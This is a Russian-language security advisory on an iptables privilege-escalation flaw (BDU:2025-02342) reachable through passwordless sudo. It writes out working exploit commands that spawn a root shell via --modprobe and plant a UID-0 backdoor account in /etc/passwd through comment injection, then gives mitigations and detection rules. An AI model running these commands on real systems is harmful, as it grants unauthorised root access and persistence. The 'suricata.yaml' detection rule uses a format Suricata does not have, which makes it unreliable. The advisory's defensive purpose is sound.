
Уязвимость BDU:2025-02342 в iptables
Уязвимость BDU:2025-02342 в утилитах iptables/iptables-save из-за небезопасного управления привилегиями, позволяющая локальному атакующему выполнить произвольные команды или перезаписать системные файлы (включая /etc/passwd) через инъекцию вредоносных комментариев в правила фильтрации.
Анализ уязвимости
Уровень опасности: Высокий (CVSS 3.0: 7.8)
Вектор атаки: CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
-
Вектор атаки (AV): Локальный
-
Сложность атаки (AC): Низкая
-
Уровень привилегий (PR): Низкий
-
Взаимодействие с пользователем (UI): Не требуется
-
Область воздействия (S): Не оказывает (изменения в пределах одной системы)
-
Влияние на конфиденциальность (C): Высокое
-
Влияние на целостность (I): Высокое
-
Влияние на доступность (A): Высокое
Условия эксплуатации
-
Атакующий имеет локальный доступ к системе с правами низкоуровневого пользователя.
-
В конфигурации sudo разрешено выполнение
iptables
иiptables-save
без пароля (NOPASSWD). -
Уязвимая версия iptables: 1.8.7.
-
Отсутствие контроля за содержимым комментариев в правилах фильтрации.
Технический анализ векторов атаки
1. Инъекция через --modprobe
(требует отсутствия kernel-модулей)
Механизм:
Флаг --modprobe
позволяет указать команду для загрузки kernel-модулей. Если требуемый модуль не загружен, iptables выполняет пользовательскую команду через execv
.
Код эксплоита (анализ C-кода iptables):
// xtables_insmod.c (упрощенный фрагмент) int xtables_insmod(const char *modname, const char *modprobe, bool quiet) { char *argv[4]; argv[0] = (char *)modprobe; // Пользовательская команда! argv[1] = (char *)modname; execv(argv[0], argv); // Выполнение произвольной команды }
Эксплуатация:
echo "/bin/bash -i" > payload chmod +x payload sudo iptables -L --modprobe=./payload # Выполняет payload от root
Ограничения:
-
Требует отсутствия модулей ядра (редко в современных дистрибутивах).
2. Перезапись /etc/passwd через комментарии
Механизм:
Комментарии поддерживают символы новой строки (\n
). При сохранении правил через iptables-save
в /etc/passwd
, атакующий может внедрить поддельную запись пользователя с UID 0.
Шаги атаки:
-
Генерация хеша пароля:
openssl passwd -1 "evilpassword" # Получаем: $1$Salt$Hash
-
Формирование вредоносного правила:
MAL_ENTRY="backdoor:\$1\$Salt\$Hash:0:0:root:/root:/bin/bash" sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT \ -m comment --comment $'\n\n'"$MAL_ENTRY"
-
Перезапись /etc/passwd:
sudo iptables-save -f /etc/passwd
Результат в /etc/passwd:
# Generated by iptables-save... ... -A INPUT -p tcp --dport 80 -m comment --comment " backdoor:$1$Salt$Hash:0:0:root:/root:/bin/bash" -j ACCEPT
Система игнорирует некорректные строки, но принимает валидную запись backdoor
с паролем evilpassword
.
Защита и рекомендации
1. Патчинг и конфигурация
-
Обновление: Установите более новую версию iptables (>=1.8.8).
-
Ограничение sudo:
В/etc/sudoers
замените разрешения на строго контролируемые:# НЕВЕРНО: user ALL=(ALL) NOPASSWD: /usr/bin/iptables, /usr/bin/iptables-save # ВЕРНО: user ALL=(ALL) PASSWD: /usr/bin/iptables -A INPUT -p tcp --dport 80 -j ACCEPT
-
AppArmor/SELinux:
Создайте профиль, запрещающий запись в системные файлы:/usr/bin/iptables-save { deny /etc/passwd w, deny /etc/shadow w, }
2. Контроль целостности
-
Tripwire/AIDE: Настройте детектирование изменений в
/etc/passwd
:/etc/passwd -> $(ReadOnly);
-
Аудит команд: Мониторинг подозрительных вызовов:
auditctl -a always,exit -F path=/usr/bin/iptables-save -F perm=x -k iptables_privesc
3. Правила для WAF/IPS
Для host-based IPS (например, Suricata в режиме HIDS):
# suricata.yaml rule-type: atomic rule-id: 202502342 msg: "BDU:2025-02342 iptables exploit attempt" pattern: | iptables.*(--comment [^\n]*\\n.*:.*:0:0:) action: drop,log,alert
Заключение:
Уязвимость критична для систем, где администраторы делегируют управление iptables через sudo без контроля аргументов. Основная мера защиты — принцип минимальных привилегий и аудит конфигураций. Для встраиваемых систем (роутеры, IoT) рекомендован переход на nftables с валидацией входных данных.